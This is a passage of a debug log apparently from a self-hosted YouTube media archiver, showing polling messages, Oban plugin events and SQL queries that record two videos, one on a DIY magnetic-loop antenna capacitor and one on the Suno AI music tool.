1000ms 22:42:13.835 [debug] Current batch of media processed. Will check again in 1000ms 22:42:13.906 [debug] Current batch of media processed. Will check again in 1000ms 22:42:14.836 [debug] Current batch of media processed. Will check again in 1000ms 22:42:14.907 [debug] Current batch of media processed. Will check again in 1000ms 22:42:15.837 [debug] Current batch of media processed. Will check again in 1000ms 22:42:15.908 [debug] Current batch of media processed. Will check again in 1000ms 22:42:16.838 [debug] Current batch of media processed. Will check again in 1000ms 22:42:16.909 [debug] Current batch of media processed. Will check again in 1000ms 22:42:17.839 [debug] Current batch of media processed. Will check again in 1000ms 22:42:17.910 [debug] Current batch of media processed. Will check again in 1000ms 22:42:18.840 [debug] Current batch of media processed. Will check again in 1000ms 22:42:18.911 [debug] Current batch of media processed. Will check again in 1000ms 22:42:19.841 [debug] Current batch of media processed. Will check again in 1000ms 22:42:19.912 [debug] Current batch of media processed. Will check again in 1000ms 22:42:20.842 [debug] Current batch of media processed. Will check again in 1000ms 22:42:20.913 [debug] Current batch of media processed. Will check again in 1000ms 22:42:21.252 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:21.843 [debug] Current batch of media processed. Will check again in 1000ms 22:42:21.914 [debug] Current batch of media processed. Will check again in 1000ms 22:42:22.844 [debug] Current batch of media processed. Will check again in 1000ms 22:42:22.915 [debug] Current batch of media processed. Will check again in 1000ms 22:42:23.845 [debug] Current batch of media processed. Will check again in 1000ms 22:42:23.916 [debug] Current batch of media processed. Will check again in 1000ms 22:42:24.846 [debug] Current batch of media processed. Will check again in 1000ms 22:42:24.917 [debug] Current batch of media processed. Will check again in 1000ms 22:42:25.847 [debug] Current batch of media processed. Will check again in 1000ms 22:42:25.918 [debug] Current batch of media processed. Will check again in 1000ms 22:42:26.848 [debug] Current batch of media processed. Will check again in 1000ms 22:42:26.919 [debug] Current batch of media processed. Will check again in 1000ms 22:42:27.849 [debug] Current batch of media processed. Will check again in 1000ms 22:42:27.920 [debug] Current batch of media processed. Will check again in 1000ms 22:42:28.850 [debug] Current batch of media processed. Will check again in 1000ms 22:42:28.921 [debug] Current batch of media processed. Will check again in 1000ms 22:42:29.851 [debug] Current batch of media processed. Will check again in 1000ms 22:42:29.922 [debug] Current batch of media processed. Will check again in 1000ms 22:42:30.852 [debug] Current batch of media processed. Will check again in 1000ms 22:42:30.923 [debug] Current batch of media processed. Will check again in 1000ms 22:42:31.853 [debug] Current batch of media processed. Will check again in 1000ms 22:42:31.924 [debug] Current batch of media processed. Will check again in 1000ms 22:42:32.854 [debug] Current batch of media processed. Will check again in 1000ms 22:42:32.925 [debug] Current batch of media processed. Will check again in 1000ms 22:42:33.855 [debug] Current batch of media processed. Will check again in 1000ms 22:42:33.926 [debug] Current batch of media processed. Will check again in 1000ms 22:42:34.856 [debug] Current batch of media processed. Will check again in 1000ms 22:42:34.927 [debug] Current batch of media processed. Will check again in 1000ms 22:42:35.857 [debug] Current batch of media processed. Will check again in 1000ms 22:42:35.928 [debug] Current batch of media processed. Will check again in 1000ms 22:42:36.858 [debug] Current batch of media processed. Will check again in 1000ms 22:42:36.929 [debug] Current batch of media processed. Will check again in 1000ms 22:42:37.859 [debug] Current batch of media processed. Will check again in 1000ms 22:42:37.930 [debug] Current batch of media processed. Will check again in 1000ms 22:42:38.860 [debug] Current batch of media processed. Will check again in 1000ms 22:42:38.931 [debug] Current batch of media processed. Will check again in 1000ms 22:42:39.861 [debug] Current batch of media processed. Will check again in 1000ms 22:42:39.932 [debug] Current batch of media processed. Will check again in 1000ms 22:42:40.862 [debug] Current batch of media processed. Will check again in 1000ms 22:42:40.933 [debug] Current batch of media processed. Will check again in 1000ms 22:42:41.863 [debug] Current batch of media processed. Will check again in 1000ms 22:42:41.934 [debug] Current batch of media processed. Will check again in 1000ms 22:42:42.864 [debug] Current batch of media processed. Will check again in 1000ms 22:42:42.935 [debug] Current batch of media processed. Will check again in 1000ms 22:42:43.865 [debug] Current batch of media processed. Will check again in 1000ms 22:42:43.936 [debug] Current batch of media processed. Will check again in 1000ms 22:42:44.866 [debug] Current batch of media processed. Will check again in 1000ms 22:42:44.937 [debug] Current batch of media processed. Will check again in 1000ms 22:42:45.867 [debug] Current batch of media processed. Will check again in 1000ms 22:42:45.938 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "El condensador.... ¿de fluzo? Je je je perdonarme, no lo he podido resistir.\n\nNOTA: hay un error en la medicion de la capacidad: 24 pF de mínima y 145pF de máxima, error mio al calibrar el medidor. El medidor se calibra con las puntas separadas... se nota que hace mucho que no lo usaba!! Mis disculpas!.\n\nComo montar un condensador de alta tensión para una futura antena de aro magnético, con capacidad para soportar los 100 w de transmisión. Siguiendo el diseño de TA2WK que podeis encontrar en:\n\nhttps://www.ta2wk.com/high-voltage-diy-air-capacitor-for-magnetic-loop-antennas/\n\nLista de materiales que he usado yo:\n\nComprados en ferreteria normal del barrio:\n- 23 tuercas de acero, M5 x 5 mm\n- 2 varillas de 1 m. de acero roscado M5 ( 4 varillas de 250 mm roscadas M5 y 1 de 300 mm. roscada M5 si no teneis modo de cortarlas vosotros).\n\nEncargados a LaserBoost para su corte:\n- 60 piezas de aluminio de 1mm cortadas con láser del estator.\n- 30 piezas de aluminio de 1mm cortadas con láser del rotor.\nRecomiendo agrupar a varios colegas para hacer un pedido grande de placas. \nSi precisais fichero autocad para pedir el corte, pedirmelo por email.\n\nComprados en Aliexpress o Amazon:\nhttps://es.aliexpress.com/item/33001186278.html (rodamientos 5x13x4 mm, hacen falta 2).\nhttps://es.aliexpress.com/item/1005005557508122.html (insertos de laton M5, hacen falta 152 piezas).\n\nPara imprimir en 3D:\nhttps://www.thingiverse.com/thing:4573307\n(necesitais dos impresas, del mismo tipo).\n\n#capacitor #radioaficionados #magneticloop #antena-de-aro #diyelectronics #hamradio\n\nContenido del video \n00:00 - Presentación\n01:02 - Intro Canal\n01:20 - Como...\n03:02 - La antena de aro\n08:36 - Que necesitamos\n11:59 - Montando el condensador\n15:33 - 1/3 montado...\n16:24 - Eje central\n21:49 - Ensamblando conjunto\n29:30 - ¡Montado!\n30:34 - Midiendo capacidad\n33:10 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2153, "filename" => "/downloads/music/ea3grn/126 - ANTENA DE ARO EL CONDENSADOR DE FLUZO (parte 1) MAGNETIC LOOP.m4a", "id" => "iPEKQIZHf5k", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=iPEKQIZHf5k", "playlist_index" => 55, "timestamp" => 1708210183, "title" => "126 - ANTENA DE ARO EL CONDENSADOR DE FLUZO (parte 1) MAGNETIC LOOP", "upload_date" => "20240217"} 22:42:45.939 [debug] QUERY OK source="sources" db=0.7ms idle=1172.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:42:45.940 [debug] QUERY OK source="sources" db=0.5ms idle=1173.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:42:45.941 [debug] QUERY OK source="media_items" db=0.8ms idle=1174.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-17 22:49:43Z], 3] 22:42:45.943 [debug] QUERY OK source="media_items" db=1.5ms idle=1175.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["El condensador.... ¿de fluzo? Je je je perdonarme, no lo he podido resistir.\n\nNOTA: hay un error en la medicion de la capacidad: 24 pF de mínima y 145pF de máxima, error mio al calibrar el medidor. El medidor se calibra con las puntas separadas... se nota que hace mucho que no lo usaba!! Mis disculpas!.\n\nComo montar un condensador de alta tensión para una futura antena de aro magnético, con capacidad para soportar los 100 w de transmisión. Siguiendo el diseño de TA2WK que podeis encontrar en:\n\nhttps://www.ta2wk.com/high-voltage-diy-air-capacitor-for-magnetic-loop-antennas/\n\nLista de materiales que he usado yo:\n\nComprados en ferreteria normal del barrio:\n- 23 tuercas de acero, M5 x 5 mm\n- 2 varillas de 1 m. de acero roscado M5 ( 4 varillas de 250 mm roscadas M5 y 1 de 300 mm. roscada M5 si no teneis modo de cortarlas vosotros).\n\nEncargados a LaserBoost para su corte:\n- 60 piezas de aluminio de 1mm cortadas con láser del estator.\n- 30 piezas de aluminio de 1mm cortadas con láser del rotor.\nRecomiendo agrupar a varios colegas para hacer un pedido grande de placas. \nSi precisais fichero autocad para pedir el corte, pedirmelo por email.\n\nComprados en Aliexpress o Amazon:\nhttps://es.aliexpress.com/item/33001186278.html (rodamientos 5x13x4 mm, hacen falta 2).\nhttps://es.aliexpress.com/item/1005005557508122.html (insertos de laton M5, hacen falta 152 piezas).\n\nPara imprimir en 3D:\nhttps://www.thingiverse.com/thing:4573307\n(necesitais dos impresas, del mismo tipo).\n\n#capacitor #radioaficionados #magneticloop #antena-de-aro #diyelectronics #hamradio\n\nContenido del video \n00:00 - Presentación\n01:02 - Intro Canal\n01:20 - Como...\n03:02 - La antena de aro\n08:36 - Que necesitamos\n11:59 - Montando el condensador\n15:33 - 1/3 montado...\n16:24 - Eje central\n21:49 - Ensamblando conjunto\n29:30 - ¡Montado!\n30:34 - Midiendo capacidad\n33:10 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "126 - ANTENA DE ARO EL CONDENSADOR DE FLUZO (parte 1) MAGNETIC LOOP", "8f0bf649-8b82-497a-9329-0cca70dbdb62", 2153, false, "iPEKQIZHf5k", "https://www.youtube.com/watch?v=iPEKQIZHf5k", 55, "/downloads/music/ea3grn/126 - ANTENA DE ARO EL CONDENSADOR DE FLUZO (parte 1) MAGNETIC LOOP.m4a", false, false, false, 3, [], 98, ~U[2024-02-17 22:49:43Z], ~U[2026-02-07 21:42:45Z], ~U[2026-02-07 21:42:45Z], "El condensador.... ¿de fluzo? Je je je perdonarme, no lo he podido resistir.\n\nNOTA: hay un error en la medicion de la capacidad: 24 pF de mínima y 145pF de máxima, error mio al calibrar el medidor. El medidor se calibra con las puntas separadas... se nota que hace mucho que no lo usaba!! Mis disculpas!.\n\nComo montar un condensador de alta tensión para una futura antena de aro magnético, con capacidad para soportar los 100 w de transmisión. Siguiendo el diseño de TA2WK que podeis encontrar en:\n\nhttps://www.ta2wk.com/high-voltage-diy-air-capacitor-for-magnetic-loop-antennas/\n\nLista de materiales que he usado yo:\n\nComprados en ferreteria normal del barrio:\n- 23 tuercas de acero, M5 x 5 mm\n- 2 varillas de 1 m. de acero roscado M5 ( 4 varillas de 250 mm roscadas M5 y 1 de 300 mm. roscada M5 si no teneis modo de cortarlas vosotros).\n\nEncargados a LaserBoost para su corte:\n- 60 piezas de aluminio de 1mm cortadas con láser del estator.\n- 30 piezas de aluminio de 1mm cortadas con láser del rotor.\nRecomiendo agrupar a varios colegas para hacer un pedido grande de placas. \nSi precisais fichero autocad para pedir el corte, pedirmelo por email.\n\nComprados en Aliexpress o Amazon:\nhttps://es.aliexpress.com/item/33001186278.html (rodamientos 5x13x4 mm, hacen falta 2).\nhttps://es.aliexpress.com/item/1005005557508122.html (insertos de laton M5, hacen falta 152 piezas).\n\nPara imprimir en 3D:\nhttps://www.thingiverse.com/thing:4573307\n(necesitais dos impresas, del mismo tipo).\n\n#capacitor #radioaficionados #magneticloop #antena-de-aro #diyelectronics #hamradio\n\nContenido del video \n00:00 - Presentación\n01:02 - Intro Canal\n01:20 - Como...\n03:02 - La antena de aro\n08:36 - Que necesitamos\n11:59 - Montando el condensador\n15:33 - 1/3 montado...\n16:24 - Eje central\n21:49 - Ensamblando conjunto\n29:30 - ¡Montado!\n30:34 - Midiendo capacidad\n33:10 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "126 - ANTENA DE ARO EL CONDENSADOR DE FLUZO (parte 1) MAGNETIC LOOP", 2153, false, "iPEKQIZHf5k", "https://www.youtube.com/watch?v=iPEKQIZHf5k", "/downloads/music/ea3grn/126 - ANTENA DE ARO EL CONDENSADOR DE FLUZO (parte 1) MAGNETIC LOOP.m4a", false, 3, ~U[2024-02-17 22:49:43Z]] 22:42:45.944 [debug] QUERY OK source="sources" db=0.5ms idle=594.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:42:45.945 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:42:45.945 [debug] QUERY OK source="media_items" db=0.4ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1407] 22:42:45.946 [debug] Current batch of media processed. Will check again in 1000ms 22:42:46.868 [debug] Current batch of media processed. Will check again in 1000ms 22:42:46.946 [debug] Current batch of media processed. Will check again in 1000ms 22:42:47.869 [debug] Current batch of media processed. Will check again in 1000ms 22:42:47.947 [debug] Current batch of media processed. Will check again in 1000ms 22:42:48.870 [debug] Current batch of media processed. Will check again in 1000ms 22:42:48.948 [debug] Current batch of media processed. Will check again in 1000ms 22:42:49.871 [debug] Current batch of media processed. Will check again in 1000ms 22:42:49.949 [debug] Current batch of media processed. Will check again in 1000ms 22:42:50.872 [debug] Current batch of media processed. Will check again in 1000ms 22:42:50.950 [debug] Current batch of media processed. Will check again in 1000ms 22:42:51.254 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:51.873 [debug] Current batch of media processed. Will check again in 1000ms 22:42:51.951 [debug] Current batch of media processed. Will check again in 1000ms 22:42:52.874 [debug] Current batch of media processed. Will check again in 1000ms 22:42:52.952 [debug] Current batch of media processed. Will check again in 1000ms 22:42:53.875 [debug] Current batch of media processed. Will check again in 1000ms 22:42:53.953 [debug] Current batch of media processed. Will check again in 1000ms 22:42:54.876 [debug] Current batch of media processed. Will check again in 1000ms 22:42:54.954 [debug] Current batch of media processed. Will check again in 1000ms 22:42:55.877 [debug] Current batch of media processed. Will check again in 1000ms 22:42:55.955 [debug] Current batch of media processed. Will check again in 1000ms 22:42:56.878 [debug] Current batch of media processed. Will check again in 1000ms 22:42:56.956 [debug] Current batch of media processed. Will check again in 1000ms 22:42:57.879 [debug] Current batch of media processed. Will check again in 1000ms 22:42:57.957 [debug] Current batch of media processed. Will check again in 1000ms 22:42:58.880 [debug] Current batch of media processed. Will check again in 1000ms 22:42:58.958 [debug] Current batch of media processed. Will check again in 1000ms 22:42:59.881 [debug] Current batch of media processed. Will check again in 1000ms 22:42:59.959 [debug] Current batch of media processed. Will check again in 1000ms 22:43:00.124 [info] {"source":"oban","duration":213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:43:00.882 [debug] Current batch of media processed. Will check again in 1000ms 22:43:00.960 [debug] Current batch of media processed. Will check again in 1000ms 22:43:01.883 [debug] Current batch of media processed. Will check again in 1000ms 22:43:01.961 [debug] Current batch of media processed. Will check again in 1000ms 22:43:02.884 [debug] Current batch of media processed. Will check again in 1000ms 22:43:02.962 [debug] Current batch of media processed. Will check again in 1000ms 22:43:03.885 [debug] Current batch of media processed. Will check again in 1000ms 22:43:03.963 [debug] Current batch of media processed. Will check again in 1000ms 22:43:04.886 [debug] Current batch of media processed. Will check again in 1000ms 22:43:04.964 [debug] Current batch of media processed. Will check again in 1000ms 22:43:05.887 [debug] Current batch of media processed. Will check again in 1000ms 22:43:05.965 [debug] Current batch of media processed. Will check again in 1000ms 22:43:06.888 [debug] Current batch of media processed. Will check again in 1000ms 22:43:06.966 [debug] Current batch of media processed. Will check again in 1000ms 22:43:07.889 [debug] Current batch of media processed. Will check again in 1000ms 22:43:07.967 [debug] Current batch of media processed. Will check again in 1000ms 22:43:08.890 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 9: TEXTO A AUDIO 2.0: Descubre Suno, la herramienta de IA para crear música. Exploramos las dos opciones principales: generar canciones con letras de IA o usar tus propias letras. ¡Crea melodías únicas y personalizadas fácilmente! #SunoAI #MúsicaIA #CreaciónMusical #SunoAI #MúsicaIA #CreaciónMusical #InteligenciaArtificial #ComposiciónMusical #TutorialMúsica #ProducciónMusical #DIYMúsica #CancionesIA #LetrasPersonalizadas", "duration" => 43, "filename" => "/downloads/music/IA mí QUÉ/¿IA Escribe Canciones? ¡2 Formas ÉPICAS con Suno!.m4a", "id" => "lzT4JNKaJBk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/lzT4JNKaJBk", "playlist_index" => 1, "timestamp" => 1748278775, "title" => "¿IA Escribe Canciones? ¡2 Formas ÉPICAS con Suno!", "upload_date" => "20250526"} 22:43:08.891 [debug] QUERY OK source="sources" db=0.5ms idle=1124.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:43:08.892 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1125.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:43:08.893 [debug] QUERY OK source="media_items" db=0.9ms idle=1125.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-26 16:59:35Z], 2] 22:43:08.895 [debug] QUERY OK source="media_items" db=1.0ms idle=1127.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 9: TEXTO A AUDIO 2.0: Descubre Suno, la herramienta de IA para crear música. Exploramos las dos opciones principales: generar canciones con letras de IA o usar tus propias letras. ¡Crea melodías únicas y personalizadas fácilmente! #SunoAI #MúsicaIA #CreaciónMusical #SunoAI #MúsicaIA #CreaciónMusical #InteligenciaArtificial #ComposiciónMusical #TutorialMúsica #ProducciónMusical #DIYMúsica #CancionesIA #LetrasPersonalizadas", "¿IA Escribe Canciones? ¡2 Formas ÉPICAS con Suno!", "ae376284-73de-4906-a9fa-091a5fcffca6", 43, false, "lzT4JNKaJBk", "https://www.youtube.com/shorts/lzT4JNKaJBk", 1, "/downloads/music/IA mí QUÉ/¿IA Escribe Canciones? ¡2 Formas ÉPICAS con Suno!.m4a", false, false, true, 2, [], 97, ~U[2025-05-26 16:59:35Z], ~U[2026-02-07 21:43:08Z], ~U[2026-02-07 21:43:08Z], "PARTE 9: TEXTO A AUDIO 2.0: Descubre Suno, la herramienta de IA para crear música. Exploramos las dos opciones principales: generar canciones con letras de IA o usar tus propias letras. ¡Crea melodías únicas y personalizadas fácilmente! #SunoAI #MúsicaIA #CreaciónMusical #SunoAI #MúsicaIA #CreaciónMusical #InteligenciaArtificial #ComposiciónMusical #TutorialMúsica #ProducciónMusical #DIYMúsica #CancionesIA #LetrasPersonalizadas", "¿IA Escribe Canciones? ¡2 Formas ÉPICAS con Suno!", 43, false, "lzT4JNKaJBk", "https://www.youtube.com/shorts/lzT4JNKaJBk", "/downloads/music/IA mí QUÉ/¿IA Escribe Canciones? ¡2 Formas ÉPICAS con Suno!.m4a", true, 2, ~U[2025-05-26 16:59:35Z]] 22:43:08.895 [debug] QUERY OK source="sources" db=0.5ms idle=500.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:43:08.896 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:43:08.897 [debug] QUERY OK source="media_items" db=0.5ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1368] 22:43:08.897 [debug] Current batch of media processed. Will check again in 1000ms 22:43:08.968 [debug] Current batch of media processed. Will check again in 1000ms 22:43:09.898 [debug] Current batch of media processed. Will check again in 1000ms 22:43:09.969 [debug] Current batch of media processed. Will check again in 1000ms 22:43:10.899 [debug] Current batch of media processed. Will check again in 1000ms 22:43:10.970 [debug] Current batch of media processed. Will check again in 1000ms 22:43:11.900 [debug] Current batch of media processed. Will check again in 1000ms 22:43:11.971 [debug] Current batch of media processed. Will check again in 1000ms 22:43:12.901 [debug] Current batch of media processed. Will check again in 1000ms 22:43:12.972 [debug] Current batch of media processed. Will check again in 1000ms 22:43:13.902 [debug] Current batch of media processed. Will check again in 1000ms 22:43:13.973 [debug] Current batch of media processed. Will check again in 1000ms 22:43:14.903 [debug] Current batch of media processed. Will check again in 1000ms 22:43:14.974 [debug] Current batch of media processed. Will check again in 1000ms 22:43:15.904 [debug] Current batch of media processed. Will check again in 1000ms 22:43:15.975 [debug] Current batch of media processed. Will check again in 1000ms 22:43:16.905 [debug] Current batch of media processed. Will check again in 1000ms 22:43:16.976 [debug] Current batch of media processed. Will check again in 1000ms 22:43:17.906 [debug] Current batch of media processed. Will check again in 1000ms 22:43:17.977 [debug] Current batch of media processed. Will check again in 1000ms 22:43:18.907 [debug] Current batch of media processed. Will check again in 1000ms 22:43:18.978 [debug] Current batch of media processed. Will check again in 1000ms 22:43:19.908 [debug] Current batch of media processed. Will check again in 1000ms 22:43:19.979 [debug] Current batch of media processed. Will check again in 1000ms 22:43:20.909 [debug] Current batch of media processed. Will check again in 1000ms 22:43:20.980 [debug] Current batch of media processed. Will check again in 1000ms 22:43:21.256 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:21.910 [debug] Current batch of media processed. Will check again in 1000ms 22:43:21.981 [debug] Current batch of media processed. Will check again in 1000ms 22:43:22.911 [debug] Current batch of media processed. Will check again in 1000ms 22:43:22.982 [debug] Current batch of media processed. Will check again in 1000ms 22:43:23.912 [debug] Current batch of media processed. Will check again in 1000ms 22:43:23.983 [debug] Current batch of media processed. Will check again in 1000ms 22:43:24.913 [debug] Current batch of media processed. Will check again in 1000ms 22:43:24.984 [debug] Current batch of media processed. Will check again in 1000ms 22:43:25.914 [debug] Current batch of media processed. Will check again in 1000ms 22:43:25.985 [debug] Current batch of media 